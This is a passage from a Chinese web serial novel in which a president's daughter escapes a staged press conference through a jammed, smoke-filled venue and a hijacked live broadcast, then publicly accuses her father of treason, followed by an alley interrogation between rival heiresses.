关楼还算镇定,提出由警署厅护送他前往鲸港会议中心。警署厅的人不敢多问,立即安排车辆。就在两人即将登车时,关鹤收到了周宴珩的信息—— 【记者会地址更改,鲸港歌剧院。】 “靠。”关鹤低骂一声,直接把信息拿给关楼看。 关楼神情冷峻,沉吟片刻,沉声道:“我们还是去会议中心。” 关鹤此时也不敢怠慢,迅速拍了几张现场爆炸照片发给周宴珩。 【我们遇袭了,老头还是坚持去会议中心。】 * -记者招待会倒计时:04:00 周宴珩放下手机,抬眼望向眼前的电子屏幕。好戏尚未开场,右上角的在线人数已突破历史峰值。除了事件本身极具关注度外,更离不开余斯文的推波助澜。 “难怪能从一介草根跻身一国总统,倒真有几分手段。” 周宴珩略带遗憾地摇了摇头。看来,他们都小看了这位南湾草根。 这位父亲藏得可真深。原来他从头至尾都未相信过余笙,所以余笙通过姜花衫传递的情报才是假的——他们都被骗了。 但周宴珩并不觉得可惜。 地图和账户或许是假的,可余笙的自述假不了。余家,注定要完。 他思忖片刻,给关鹤发去消息: 【查账户,我们被利用了。】 * -记者招待会倒计时:03:00 苏家。 主厅里,苏母正哭诉苏妙不辞而别之事,苏灼在一旁低声安抚,苏敬琉则不停地拨打电话。苏韵并未参与其中,她看了看表,起身告辞。 回到房间,她拉上窗帘,默默打开手机…… 另一边,鲸港机场。 “各位旅客请注意,这是繁星航空MUA333次航班前往海兰的最后登机广播!航班即将关闭舱门,请尚未登机的旅客立刻至33号登机口登机!乘客苏妙女士,请您听到广播后速与工作人员联系!这是最后一次登机通知,谢谢!” 人来人往的候机厅中,苏妙戴着耳机,全神贯注地盯着手机屏幕上的一片漆黑。 * 云乡。 某座废弃矿场。 周绮姗坐在被阳光穿透的窗边,嘴里叼着油饼,单手托腮,目不转睛地盯着手中碎屏的手机。 * -记者招待会倒计时:02:00 S国。 顺利传递消息后的傅绥尔一身轻松。因女王对她设置的考学十分满意,孔茂林特批她一天假期。此刻她正悠闲地举着手机,等待余笙的直播。 “奇怪,以往直播前都有预告,这都倒计时两分钟了,怎么还是黑屏?不会是异国他乡,信号不好吧?” 与此同时,沈年别墅。 一名黑奴敲响了沈归灵的房门,用蹩脚的S国语说道:“老板要见你。” * -记者招待会倒计时:01:00 M国修道院。 老旧的电视泛着白色雪花,萧澜兰身着棉麻长裙端坐于第一排。 不远处,一群女生正在哀嚎,鲜血从她们身下蔓延而出,一路流到她的脚下。 管理员闻声提着棒球棍破门而入,“你们这些狗杂种,又他妈在搞什么——” 她骂得粗鄙,萧澜兰却早已习惯,偏头笑了笑,“不好意思,我们会小点声。” 修女面色铁青,“萧澜兰,又是你!这次又怎么了?” 萧澜兰笑得人畜无害,“我说我想看A国的节目,她们不同意,那我只能打到我同意为止。” * A国鲸港歌剧院演播厅。 三十秒倒计时正式开始。 直播信号通过无数网线传递世界各个角落。 站在帷幕后等待入场的余笙神情麻木,如同一具没有灵魂的傀儡,缓缓走向镜头前方。 “大家好,我是余笙……” …… 第752章 希望大家重新认识我 镁光灯聚焦的那一霎那,余笙看见无数尘埃在光柱下跃动。 她就如这些细小的尘埃,不管怎么挣扎,都只是这个世界微不足道的存在。 “我……” 新闻稿的内容她早已背得滚瓜烂熟,几乎可以脱口而出。她闭了闭眼,艰涩道:“我今天站在这,就是想向大家……” 扑克匍匐在吊顶的格栅里,死死锁定余笙的位置。耳返里,一道悦耳的女音和现场余笙的声音同时响起—— “3、2、1,动手!” 话音一落,扑克按下手中的干扰器。 “叽——!!!” 一道刺耳到几乎要钻破头皮的啸音甚嚣尘上,台下所有人本能地捂住耳朵。 余斯文慌忙起身,还没来得及部署,台上忽然降下烟雾弹,转眼间整个演讲舞台如同被包裹在一团棉花里。现场突然的变故引起了众人的恐慌,也不知是谁惨叫了一声,所有人跟热锅上的蚂蚁似的乱了分寸,四处乱撞。 “阿笙!” 余斯文看着白雾里的虚影,忽然腾升起一种不祥的预感,一把揪住身边的保镖,“去,把小姐带过来。” 保镖有些犹豫,“可是先生,您的安全……” “快去!” 余斯文冷冷打断,眸底泛着嗜人的凶狠。保镖从未见过总统这样的一面,愣了愣,立马转身跳上了舞台。 对于余笙来说,所有的变故都在一夕之间。她还没反应过来,聚焦在她身上的光束就变成了白雾。这些雾,遮住了虚假的镜头,也遮住了她能看到的所有世界。 忽然,有人拽了拽她的胳膊。她因为过于害怕,拿着话筒对那人砸了过去,但那道黑影似乎早有预料,一把拽住她的手腕,将人反身扣于后背。 “姜小姐让我来的,跟我走。” 姜小姐?姜花衫? 余笙脸色微变,胳膊的疼痛让她无力挣扎。她茫然看着眼前的白雾,这次是真的不知道该怎么办了? 就在刚刚站在舞台的那一刻,她才下定决心:既然没有人救她,她就自己救自己。不管五年、十年,都在所不惜。她可以先假意顺从余斯文,去了S国之后再想办法。路是人走出来的,她要做的是先活下去。 可现在,沈家人又来了? 她到底该不该信? 就在这时,一直发出啸音的音响忽然安静了下来,一道熟悉得不能再熟悉的声音盘旋在整个演播厅上空。 “TeSt!TeSt!大家好,我……是余笙~” 余笙怔然,霍然抬头看向白雾里的高空,一种头皮发麻的颤栗感瞬间爬满了全身。 这声音和她相似,但不是她。 “欢迎大家来到我的记者澄清会,人数有点多,所以网速稍稍卡顿了一下,大家都还在吗?” * 慌乱的人群忽然像是被人按下了暂停键,在原地僵滞了许久后,慢慢看向舞台中心。 此时,白雾散了一大半,但光柱的聚焦处已经没有了余笙的踪影。 保镖捂着被打骨折的胳膊,踉踉跄跄跑下台,“先生,我看见几道身影把小姐绑走了,他们一群人,我不是对手。” 余斯文一把推开保镖,惊疑不定地看向悬挂在四周的音响,眼里的怒意几乎快要压制不住,“他们是怎么进来的?” 为了掩护歌剧院被征用的秘密,前三天歌剧院一直还在排练歌剧。临近一天前,他突然下令征用,并安排了国首会议级别的安防,按理是不可能有漏网之鱼的。 余斯文勉强稳住心神,咬牙道,“赶紧关闭直播,告诉民众,阿笙被绑架,记者会暂停。” “是。”彭特助立马掏出手机,屏幕亮起的瞬间,他忽然惊叫出声,活像见了鬼。 余斯文皱眉,正欲训斥,彭特助颤颤巍巍递上手机,声音抖得厉害,“先生,直播还在继续。” * 鲸港最繁华的CBD大楼,那面堪称天价的巨型弧形LED屏上,本该轮播顶级商业广告的画面骤然切换。 “TeSt!TeSt!大家好,我……是余笙~” 大屏幕的画面与之前余笙露面的直播画面几乎一模一样,唯一不同的是‘余笙’的走位——她不知道为什么往后退了一步,没有站在光圈里,而是躲在光影之下。 但这声音,几乎一模一样。 响彻在人潮上空的语调忽然变得沉重而坚定,“很抱歉用这种方式和大家见面,但质疑我的人实在太多了,只有这种‘声音大’的方式才能让他们闭嘴,也才能让更多人听见。” 广场上,所有行人都被这突如其来的变故惊得停下了脚步,目瞪口呆地仰头望着巨屏。车辆也减缓了速度,甚至造成了短暂的交通停滞。人们纷纷举起手机,对着屏幕拍摄。 与此同时,在一个密闭的地下室里…… 房间的布局、讲台的高度、甚至背景板的纹理与色调,都与歌剧院里的记者会现场别无二致。灯光师精准地复刻了现场光线的角度和色温,唯一的不同是,这里没有台下黑压压的记者,只有几台冰冷的、由程序控制的摄像机,以及站在光影之外、眼神炙热的姜花衫。 扑克按下干扰器的瞬间,歌剧院现场的直播信号被强力阻断,各大平台屏幕上瞬间爆出刺耳的噪音和雪花。也就在这一秒的空白里,她的信号劫持了卫星直播信号流,将源地址无缝切换到了这个伪装的演播厅。 现在,姜花衫就是余笙。 “我是余笙,我不是恋爱脑也不是假女权,我的人生不需要任何人定义,所以我希望你们所有人都能重新认识我。” “我出生在南湾一个小康之家,我有一个‘英雄’父亲。得益于父亲的栽培,我自小便是个有野心的人。好像你们并不喜欢这个词,但是无所谓,因为我喜欢。” “我喜欢的野心,因为它驱使我喜欢的所有东西都必须指引我向上,喜欢的人和事都是如此。你们骂我利用热点为自己虚抬社会地位,我认。但我觉得,你们骂得不对。因为从目的论看,我的方法是奏效的,那些弱势群体也因为我的‘热度’受到了广泛关注,这本身就是双赢的事。你们不应该要求用一个圣人的标准去批判我这个普通人,凡事论迹不论心,论心世道无圣人。” “还有一件事,这件事想想才是最可笑的。有人竟然因为我偷偷写下暗恋的情书,就说我辱没了当代女性的尊严。或者说,他们不公平地得出结论:余笙暗恋即是罪。这是狗屎言论,按理我不应该搭理,毕竟自证就是跳入陷阱的开始。” “但正因为我是余笙,有人厌我,但一定有人也在默默喜欢着我……” …… 扑克拽着余笙按照原定计划从格栅顶原路返回,转进了歌剧院的地下藏室。 早在三天前,他们就在这里秘密筹划了一间与演播厅一模一样的直播现场。这也是姜花衫的谋划:余斯文发现人不见了一定会全力搜捕,但这段时间直播不能停。而他们就算做梦也不会想到,他们不仅没有逃,还堂而皇之地在同一个场馆开了直播。 从演播厅到地下室辗转只需要五分钟的时间。扑克并未解释一句,只是给了余笙一只耳机。她全程只是默默听着,脚步越来越快。 下了密室,四周漆黑,只有一条很细的光缝。 余笙轻轻推开门,耳边正好传来那句—— “但正因为我是余笙,有人厌我但一定有人也在默默喜欢着我……” …… 第753章 万万民众为证 “怦——怦——怦——” 余笙眼睑微微颤动,重睫处隐隐有些湿润。 聚焦的光柱里,无数尘埃在跳动。姜花衫就站在暗光之中,尘埃在她肩上跳舞,她眼睛明亮灿若星河,根本不需要多余的光。 她就这么看着黑暗之中的姜花衫,听着自己跳动不止的心跳。 “为得不值得自证,但为爱,我可以。” “看过信件的人,都觉得我卑躬屈膝、倒贴热脸,但这些只是某些人的观点,并非事实。你们想知道在我眼里,是什么感觉吗?我很满意我自己,我的眼光很高,我喜欢的人也很好,他不喜欢我,我不诋毁他,这是对我自己的尊重。” “我并不认为女性的独立是建立在她一生都未动情之上。我曾真诚地欣赏过一个人,这份欣赏源于对他某些优秀品质的肯定。我承认这份情感的存在,这并不可耻。我的‘自尊’并不体现在从未对任何人动心,而是体现在我始终明白,我的价值不需要通过另一个人的认可来赋予。” “我喜欢主动争取,爱情也是如此。在我的观念里,等着被追求只能成为被选择的那一个。所以,主动等于自主选择。世界那么多人,我当然要选一个我最喜欢的。就算他不喜欢我,我的主动也不可耻。” * 镜头之外。 沈园。 沈兰晞手里的茶已经凉了一大半,他目不转睛地看着黑暗里的身影,淡漠的眸光微微泛起了涟漪。 片刻后,他放下茶杯站起身。 “直播还没结束,你去哪?”沈庄点了点安排,“坐下,这么浮躁可不行。” 沈兰晞看了沈庄一眼,思忖片刻,又坐了回去。 * 东湾。 电视直播的画面晦暗不明,沈清予原本正在清点老宅的族产,此时也被吸引了目光,脸色凝重地看着暗光里的人影。 声音倒是余笙的声音,可这说话的调调怎么越听越耳熟。 正当他盯着那双眼睛出神时,外面忽然传来一阵骚动。 “沈清予!沈清予!你给我出来!” 一位老者领着十几个年轻人怒气冲冲地撞开了房门,顾赫原本想阻止,却被他们粗鲁地推进内厅。 沈清予啧了一声,歪头看向领头的老者,“又怎么了?” 老者是顾氏家族族长,自诩有些辈分,并不把沈清予放在眼里,“听说你在查族里的账?小子,你不姓顾,别说你,就算是你霍兰英亲自来了也没资格。” 沈清予嗤笑了一声,单手托腮,“一个靠着女人支撑门楣的家族,有什么资格直呼我婆婆的名字?” “沈清予?!” “嘶——”沈清予偏头皱了皱眉,笑容凉薄,“我的名字你就更没有资格了。” 话音刚落,一群穿着西装的保镖从隔壁房间走了出来。 顾丰脸色微变,略有些警惕地打量眼前的年轻人,“你……你想干什么?” 沈清予摆摆手,保镖像拎小鸡一样把一群人拖了出去。 顾赫有些不放心,“少爷,那老头毕竟是顾氏族长,这么做会不会过分些?” 沈清予挑眉,“你叫他什么?” 顾赫立马捂着嘴。 沈清予笑了笑,“打的就是变坏的老头儿!” 这边正说着话,眼前的电视屏幕一闪,信号被强行切回总统府的官方频道…… * 画面中,余斯文坐在他庄严的办公桌后,但往日的沉稳从容荡然无存。他眼眶猩红,嘴唇因极力压抑情绪而微微颤抖,每一个细微的表情都在向全国民众传递着一个父亲濒临崩溃的痛苦和一位总统面临的严峻危机。 他深吸一口气,声音沙哑而沉重,带着一种不容置疑的权威和悲怆: “全体国民们,朋友们。我是总统余斯文。” “此刻,我怀着极其沉痛和愤怒的心情向大家宣布一个噩耗:我的女儿,余笙,在刚刚于国家歌剧院举行的记者会上,遭遇了有预谋的、极其恶劣的绑架袭击。” 他刻意停顿,让这个消息带来的冲击力充分蔓延。他的目光直视镜头,仿佛要穿透屏幕,抓住每一个正在观看的国民的心。 “匪徒使用了先进的干扰设备和烟雾弹,制造了现场混乱,在严密的安保下强行掳走了她。目前,安全部门正在全力搜救,我已下令启动国家最高级别的应急响应机制。” 紧接着,他的语气陡然变得无比锐利和严肃,甚至带上了警告的意味: “我必须郑重告诫所有人:目前仍在某些非官方渠道流传的所谓‘直播信号’,其内容完全不可信!那是绑架者为了混淆视听、制造恐慌、达成其不可告人的政治目的而精心策划的骗局!” “画面里的那个人,无论她看起来多么像我的女儿,声音多么相似,她都不是余笙!那是绑架者利用技术手段伪造的替身,是他们玩弄人心、试图操控舆论的卑劣工具!” 就在余斯文慷慨激动时,令人大跌眼镜的一幕发生了。 直播镜头竟然同时出现了两个画面,一个是在职总统余斯文,一个是总统女儿余笙。 黑暗中的人掷地有声,“我说了那么多,您却说我不是余笙,难道‘我’不是余笙吗?” 余斯文万万没想到歹徒竟然如此胆大,但万万人面前,他绝不能出现任何差错。 他抬起头,眼神坚毅,“既然你说你是余笙,你敢不敢从那见不得人的黑暗里走出来?” “你是不是?万万民众为证!” …… 第754章 很抱歉以这样的方式和您决裂 余斯文的诘问振聋发聩,黑暗里的人却沉默片刻,低头笑出了声。 她没有回答余斯文的问题,而是突然转过身背向镜头。 这一举动,怎么看都是心虚。 余斯文克制住上扬的嘴角,目光如鹰隼一般死死盯着黑暗中的身影。早在第一眼,他就已经认出了这不是他的女儿。不管是谁,他都不允许自己精心策划的剧目被破坏。 地下室里。 聚焦的光柱空无一人,余笙就站在门外。姜花衫转过身时,她们的目光恰好在黑暗中相逢。 不需要光,她们的眼里自带璀璨。 姜花衫挑了挑眉,眼里的意味很明显。 -“要去见你的新世界吗?” 以余笙的聪明,当然不会天真地以为余斯文这么急着昭告天下是出于对她的保护。作为一个父亲,他应该知道,即便视频里的人不是他的女儿,但她口中所述的那个人就是余笙。 他这么急于否定,是因为一旦真正的余笙被人接受,大众一定很难接受她背叛国家的罪名。这也是为什么,余笙在遭受诽谤和污蔑时,余斯文从不急于澄清。因为,在他的计划里,一个有污点的女儿和一个受人爱戴的女儿,前者对他的价值更重。 短短七年的权色交易,余斯文不但忘记了自己的初心,也忘记了他曾在余笙牙牙学语时教她的第一个道理。 -要做一个对自己有用的人。 余笙低头,轻轻擦干净眼角的泪水,抬步跨过门槛。 如果姜花衫不曾开启前言,她不敢信。但现在,她愿意去赌一把,哪怕这是姜花衫给她设下的陷阱,她也愿意纵身一跳。正如姜花衫所说的,她是余笙,只要是她自主选择的,她就有承担一切后果的勇气。 她缓缓抬头:我要去,去看看那个不一样的世界。 两人的对视只不过短短十秒,但这十秒在镜头之外,就显得过于冗长。 -【咦?!卧槽,可以发弹幕了!】 -【真的耶!之前评论被关闭了,刚刚突然打开了,喂喂喂,大家看得见我的留言吗?我是天下第一帅。】 -【看不见,楼上别挡道。现在到底什么情况,我刚还哭的一脸马尿,怎么突然说不是余笙了?这声音明明就是本人啊!】 -【现在科技这么发达,声音像也不稀奇。既然是本人,为什么不敢出来,鬼鬼祟祟一看就有鬼。】 -【什么人这么大胆?这不是把我们所有人当工具人戏弄吗?】 余斯文经常出席国家会议,越是严肃危机场合,越是能沉住气。他故作绅士耐心等待,眼看民众的怒意在慢慢发酵,才缓缓开口:“看来,某些人只敢躲在阴影里煽风点火,却不敢站在光明下接受审视。这就是你所谓的''真实''吗?” 与此同时,在密闭的空间里,余笙坚定地走向姜花衫。两人并肩而过时,摄像找准精妙的角度,画面无缝衔接,当着万万人的面直接上演了一场偷梁换柱。 余笙并没有停留在黑暗处,深吸了一口气,迈进了无数尘埃跳动的光影之下。 她的脊背挺得笔直,目光坚定勇敢,毫不回避地直视镜头。 “大家好,我是余笙。” * S国。 偌大的书房里,荧荧的电视冷光映照着几张深不可测的面孔。直播画面中,余斯文的诘问与黑暗中的沉默正在对峙,空气里弥漫着一种计算与等待的紧张感。 一群衣着考究、气质阴鸷的男女围坐在屏幕前,这些人皆是此次布局的核心人物。他们姿态闲适,如同观看一场按剧本演出的戏剧,期待着余斯文成功将“假余笙”钉死在耻辱柱上,彻底瓦解其公信力。 “!” 年轻的女孩暴露于万众瞩目的瞬间,房内原本运筹帷幄的轻松氛围瞬间冻结。 “砰!”一位鬓角灰白的老者猛地将酒杯顿在桌上,琥珀色的酒液剧烈晃动,“怎么回事?!她怎么可能出现在那里!” 阴谋者们脸色无一不铁青难看,交换着惊疑不定的眼神。他们预料过各种干扰,却独独没算到,一个二十出头的年轻女孩敢做出背父的举动。 “余斯文这是什么意思?!” “我早说过他根基太浅,没有能力,想不到现在连自己的女儿都看不住,简直就是废物!” “你现在说有个屁用,之前你不是还说根基浅的更听话吗?!” 低沉的咆哮和急促的命令在房间内交织,一场精心策划的阴谋正面临崩盘的危机。 而在房间的角落阴影里,沈归灵独自坐着,仿佛与外界的躁动隔绝。 虽然刚刚镜头切入得十分巧妙,但那么熟悉的人别说只是一道暗影,就算只露一只手,他也能立马知道是不是她。 真的,胆子越来越大了。 沈年看见余笙的那刻吓得直接从沙发上站了起来,脸色又惊又疑,转头见沈归灵一副置身事外的样子,皱了皱眉,“你好像一点都不惊讶。如果我没记错,余笙喜欢的人应该是你吧?” 沈归灵不知想到什么,淡淡道,“眼光好的人多的是,有什么大惊小怪的?” 沈年,“……” * 余笙的出现将这件事的热度推到了史无前例的高度。 弹幕瞬间爆炸: -【!!!是余笙!真的是她!】 -【卧槽!这是什么反转!】 -【总统不是说她被绑架了吗?这不好好站在这里吗?到底谁在说谎?】 -【咦?我好像闻到了阴谋的味道。】 “阿笙……” 余斯文从未想到有一天,他会以这样的惊吓面对自己的女儿。他的从容在这一刻土崩瓦解,瞳孔猛然收缩,脸上的肌肉也不受控制地抽搐了一下。 “阿笙,怎么会这样?你不是?你告诉爸爸,是不是有人威胁你?” 余斯文顿时眼神一亮,像是抓住了什么救命稻草,缓缓站起身,神情哀痛地看着镜头前的余笙,“是不是?你放心,爸爸一定会救你的……” “没有。”余笙的目光平静地扫过镜头,最终定格在画面中余斯文的脸上,轻声开口,却字字千钧,“父亲,很抱歉以这样的方式和您决裂,虽然我从未想过会有这样的一天,但它真正到来我也无所畏惧。” 知女莫若父,余斯文已经预感到余笙接下来说的话可能会让他万劫不复,但他不可能束手就擒,痛心疾首地摇了摇头,“阿笙,你到底在说什么?是不是有人蛊惑你?你跟爸爸说,爸爸一定会保护你的。” 余笙指尖微微收拢。 姜花衫见状,转身向门口方向走去。 戏台子她已经帮余笙搭好了,观众也已经全部到位,至于余笙想做什么样的余笙,应该由她自己决定。 姜花衫的一只脚刚踏出门槛,余笙缓缓开口: “您的保护就是以父之名将我送上卖国求荣的断头台吗?如果是这样,我不需要。” 下一秒,全国哗然。 …… 第755章 爱一旦变质,舍便舍了 余斯文的脸色在镜头前肉眼可见地变得灰白,他像是被无形的手扼住了喉咙,呼吸骤然急促。他几乎是踉跄着向前一步,双手撑在桌面上,指尖因用力而泛白。 “阿笙!你知不知道你在胡说八道什么?!”他的声音拔高,带着难以置信的震颤和一种被至亲背叛的痛楚,试图用父亲的权威和情感来压制她,“你是不是受了什么刺激?还是……还是他们给你用了致幻的药物?你神志不清才会这么对爸爸说话!” 余笙闭了闭眼,默默在心里和她的英雄爸爸作别。再抬眸,她的眼神过分平静,直接转向镜头,看向荧幕之外的万万人。 “我,余笙,现实名举报我的父亲余斯文,联合境外势力弄权卖国,通过签订隐秘条款转移A国核原料控制权。” “疯了。”余斯文只觉大脑一片空白,踉跄跌回座椅。 他想过很多种可能,却从未想过自己有一天会败在亲手养大的孩子手里。不!准确来说,他预想过这么一天,否则也不会处处防备余笙。他真正来不及设防的,是余笙反击的强度。 万万人为证,别说他,A国任何一个家族都抵抗不了。 但即便如此,他还是不得不为自己辩解:“阿笙,你说话得有证据。” 余笙:“我有他们给您汇款的境外账户以及密码,到时候一查便知。” 余斯文失笑摇了摇头,深吸了一口气扶好镜框,“阿笙,就因为我没有及时替你澄清那些污名,你就联合有心之人这样陷害自己的父亲吗?你母亲早逝,是我又当爹又当妈把你拉扯大。他们说女儿离心,让我另娶延续香火,可我担心你受委屈,从南湾到鲸港从未丢下你,你怎么能狠心至此?” “我精心为你策划记者会,原本是替你谋划出路,你却联合不法分子突袭会场,制造绑架假案,为了给自己造势不惜做局哄骗所有民众。阿笙,停手吧,你为了博取眼球不择手段,迟早有天会毁了自己。” 余斯文的表演堪称完美,眼眶瞬间通红,那副痛心疾首的模样足以让任何不知情的人动容。在外人看来,这是一个父亲寒心到了极点。但只有余笙知道,余斯文用心之毒——他故意将矛盾点转移到绑架案上,又强调了余笙的手段不光明,以此影射余笙人品有问题,说的话也不值得信任。 果然,之前骂骂咧咧的民众又开始动摇。 -【也是,据我所知余笙在A国并无职称吧,她是怎么策划绑架案的?竟然能骗过国首级别的防护,她背后肯定有人。】 -【大家冷静,现在正值国选重要时刻,怎么看事情都没这么简单!】 -【不管怎么样,和恐怖分子合作就很有问题!早就说了,这个女人很会利用热点,现在想利用自己的父亲上位也说不定。】 -【要真是这样,她这样的人好恐怖啊,总统先生养她还不如养一只狗,起码狗还知道不能背叛主人这个道理。】 如果是三十分钟前的余笙,面对这些质疑和抨击她或许会怯懦。但现在,她根本不放在眼里。 因为她始终记得姜花衫的那句话: -“但正因为我是余笙,有人厌我也一定有人在默默喜欢着我……” 为恶不值得自证,但为爱可以。 这世界一定还有人默默喜欢着她,也一定有人和她正在经历相同的遭遇。为了这些人,也应该为自己争一争! “诸位。”余笙紧紧握拳,声音坚定穿透,“在此之前,我花了很长的时间向你们介绍自己,那并非是无病呻吟的噱头,而是我所有行为轨迹的佐证。” “我之所以要检举我的父亲,是因为我发现他打算将我送出A国,让我成为他的替罪羊。我心痛于英雄泯然权色,但更绝望的是——送我下地狱的是我最爱的父亲。” “我不是一个好女儿,也不是一个合格的傀儡。我有自己的思想,所以即便那是生我养我的父亲,也不能拉我进地狱。策划绑架案我认,于司法我伏罪,但于自己我无愧。在此,我想用自己的切身体会告诉镜头前的你们:哪怕前路万万难,也不要放弃拯救自己于水火。爱一旦变质,舍便舍了。” “任何人通过镜头传达给你们的,都是他想入侵的思想,包括我也是如此。你们可以质疑我,我很高兴你们的质疑,因为有质疑才有思辨。所有人想让你们看见的是镜头里的东西,那镜头之外呢?” “我是余笙,我现在在鲸港歌剧院负一层储藏室,我以A国公民的身份,等着司法为我正名!” * 鲸港会议中心的领导室。 眼看着这场直播闹剧的冲突不断升级,见惯了官场浮沉的关楼都陷入了沉默。 竟然敢在万万人面前审判自己的父亲? 这就是少年人的气魄吗? 没有俗世见识里的一荣俱荣,厮杀时只管亮剑,不管能不能成?不管背负的舆论和骂名是利是弊,甚至不管有没有明天…… 关鹤看着镜头里的余笙,忽然觉得有些陌生:“爸,您说她这么当众举报自己的父亲,到底想干什么?” 关楼摇头:“这是谁在下棋啊?完全猜不透。” 之前的余笙还执着于沈家能救她,但走到现在,她足以自救。甚至这次的演讲亮相也不同于她以往任何一次,镜头里的余笙格外尖锐,尖锐到产生了独属于余笙的人物弧光。 …… 第756章 爱而不得的不止我一个 鲸港暗巷。 沈眠枝依靠着斑驳的老墙,眼睑低垂,一瞬不瞬盯着手机。 屏幕里,少女的嗓音透过扬声器传出,清晰而坚定: -“在此,我想用自己的切身体会告诉镜头前的你们:哪怕前路万万难,也不要放弃拯救自己于水火!爱一旦变质,舍便舍了。” 荧幕前的少女眸光坚毅,仿佛是浴火重生的凤凰,身后汇聚的光束是她重塑血肉的勋章。 原来,这就是她要做的事情…… “大小姐。”这时,暗巷里走出一个穿着黑色背心的潦草大汉。 沈眠枝抬手,示意他安静。 -“我是余笙,我现在在鲸港歌剧院负一层储藏室,我以A国公民的身份,等着司法为我正名!” 直播画面突然切断,这场轰轰烈烈的闹剧终于落下帷幕。 沈眠枝盯着漆黑的屏幕沉默了片刻,缓缓抬起头,眼神平静,“人呢?” 潦草大汉回头招呼了一声,“拖过来。” 一会儿功夫,几个黑衣壮汉拖着一个人型麻布袋进了巷子。 “嗯嗯嗯~~~!!!”麻袋里的人不时地挣扎。 沈眠枝,“打开。” “是。”潦草大汉上前一把掀开麻袋。 傅潇潇闭了闭眼,用力甩开遮挡在眼前的刘海,隔着凌乱的发丝,最先映入眼帘的是一双黑色的铆钉马丁靴。 男人? 她转动眼珠往上看,在看见那张做梦都想撕碎的脸后,仇恨瞬间占领了她所有的思绪。 “嗯嗯!!!” 傅潇潇躬着腰身对着沈眠枝撞了过去,那眼神恨不得撕碎了她。 沈眠枝扯了扯嘴角,站在原地未动,身边的潦草大汉已经率先出手,一把掐住傅潇潇的脖子劈空甩了出去。 “嗯!” 傅潇潇双手被绑,嘴巴也被封住了,躺在地上抽搐了许久。 沈眠枝垂眸打量了片刻,慢步走到她面前,单膝蹲下身,“找你是因为有件事想问清楚,你这么废,怎么会和鲸鱼岛那些绑匪有联系的?” 傅潇潇冷笑了一声,冲她哇哇嘶吼。 沈眠枝并不在意,扯下傅潇潇嘴上的封带,“说吧。” “沈眠枝,你这么对我,我爷爷不会放过你的!”傅潇潇艰难喘着粗气,“你别以为你可以无法无天!” “是吗?”沈眠枝笑了笑,“你爷爷要是知道你背着他和公海海盗勾结,你说,傅家还敢不敢认你?” 傅潇潇脸色阴沉,死死瞪着她,“我不知道你在说什么?没有证据你凭什么胡乱攀咬?” “胡萌。”沈眠枝脱口而出。 傅潇潇的脸色稍稍僵滞了一秒,但很快又遮掩了过去,“什么胡梦?我不知道你在说什么?” 沈眠枝一把抓住傅潇潇的头发,将她的脸直接拎了起来,“你难道不知道吗?胡萌没有死,她已经招供了,指使她陷害我的人就是你。” 傅潇潇强装镇定,“你少在这胡说八道,我根本不认识什么胡梦——” 忽然想到什么,她眼睛一亮,有几分底气,“如果真像你说的,那个人已经招了,为什么是你来找我,而不是警署厅的人?沈眠枝,你想诈我?门都没有!” 沈眠枝眼里的笑意淡了不少,意兴阑珊地站起身,“胡萌的确是招了,但是……她现在精神失常,警方对她的口供不予采纳。” 傅潇潇暗暗松了一口气,看向沈眠枝的眼神多了几分快意。 沈眠枝皱眉,盯着她打量,“不好奇她为什么会疯吗?” 傅潇潇嘴角挂着讥诮的笑意,“这和我有什么关系?” “一个花季少女被推入恶贯满盈的狼窝,会发生什么,你应该一早就知道吧?你记恨我扒了你的衣服,所以为了复仇不择手段。” 提及往事,傅潇潇的眼神比吃人的猛兽还凶狠,“沈、眠、枝!你装什么好人?!我现在变成这样,都是因为你!你这个贱人!” 潦草大汉听不下去,正准备抬手教训,却被沈眠枝拦了下来。 她没有任何动怒的情绪,淡淡道,“你受的罪是你咎由自取。如果不是你手段肮脏找人谋害衫衫,我也不会反击。比起你对衫衫的手段,我不过是小惩大诫。至于胡萌,如果她没有害人之心,那些恶果也不会反噬到她头上。” “哈哈哈哈哈!!!笑死人了!”傅潇潇趴在地上,笑得花枝乱颤,“衫衫?叫得可真亲热啊?” 她忽然止住,抬起头像看傻子一样挑衅沈眠枝。 “你对你姐妹这么好,是不是以后男人也可以分她一半啊?哦~我忘记了,周宴珩眼里根本就没有你!你全身上下除了一个姓氏,还有什么周宴珩能看上?姜花衫就不一样了,周宴珩看见她连东南西北都分不清!你还替她出头?哈哈哈哈哈,你有没有脑子啊?啊?沈眠枝?” 沈眠枝脸色阴沉,面无表情地看着傅潇潇。 傅潇潇越说越兴奋,眼神癫狂,“怎么不说话?还是被我说中心声无言以对了?你的确应该跟姜花衫打好关系,求她不要跟你抢男人!否则人家随便勾勾手指,你就算脱光了躺在床上也无济于事!” “大小姐……”潦草大汉忍无可忍,死死攥紧拳头。 “说完了?说完了就跟我走吧。”沈眠枝依旧看不出喜怒。 傅潇潇见这样都激怒不了她,又恢复了之前阴冷的模样,“你想做什么?” 沈眠枝,“你从见到我之后句句不离周宴珩,看来爱而不得的不止我一个?” 傅潇潇的脸色骤然惨白,瞳孔猛地收缩,像是被一根无形的毒针刺中了心脏,她的嚣张癫狂瞬间凝固,取而代之的是一种无处遁形的恐慌。 “你胡说!胡说!!!” 傅潇潇突然尖声,声音因为过度惊惧而扭曲破音,“我爱而不得?!我可是傅潇潇,只要我勾一勾手指多的是人给我当狗!” 沈眠枝微微偏头,用一种近乎怜悯的眼神打量着她此刻的失态,“如果没有,现在的失态又是因为什么?你不敢回鲸港,是因为你无法接受自己曾经在喜欢的人面前尊严扫地,你不敢面对的不是被扒衣服的耻辱,是周宴珩。” “闭嘴!你以为我是你吗?送上门的赔钱货!” “既然如此,那就去见一面吧。警署厅虽然没有采纳胡萌的口供,但我相信周家和关家应该会有不同见解,毕竟周宴珩和关鹤差点就死在岛上。” “我不去!我不去!”傅潇潇再也维持不住那份虚张声势的恶毒。 “去不去由不得你,这么久没见了,说不定周宴珩还记得你呢。” 傅潇潇彻底崩溃了,“我不想见他!我不要!” 沈眠枝看着脚下匍匐挣扎的人影,全然没有半点凌驾的快感。 她仿佛是另一个不受控制的自己。 * 半个小时后,沈眠枝从暗巷走了出来。 “把傅潇潇送回去。” 潦草大汉仍有些忿忿不平,“小姐,她这么陷害您,您就这么放过她,是不是太便宜她了?” 沈眠枝脚步微顿,抬眸看了看头顶的晴空,“谁说我要放过她的?鲸鱼岛的绑匪案还在审讯,以蔡严的机警,一定知道怎么撇清干系。就算我不出手,周家和关家也不会放过傅潇潇,别说她,傅家这次还能不能保住都是未知之数。” 潦草大汉似懂非懂,“那您大费周章把人抓来鲸港,就为了吓唬她?” 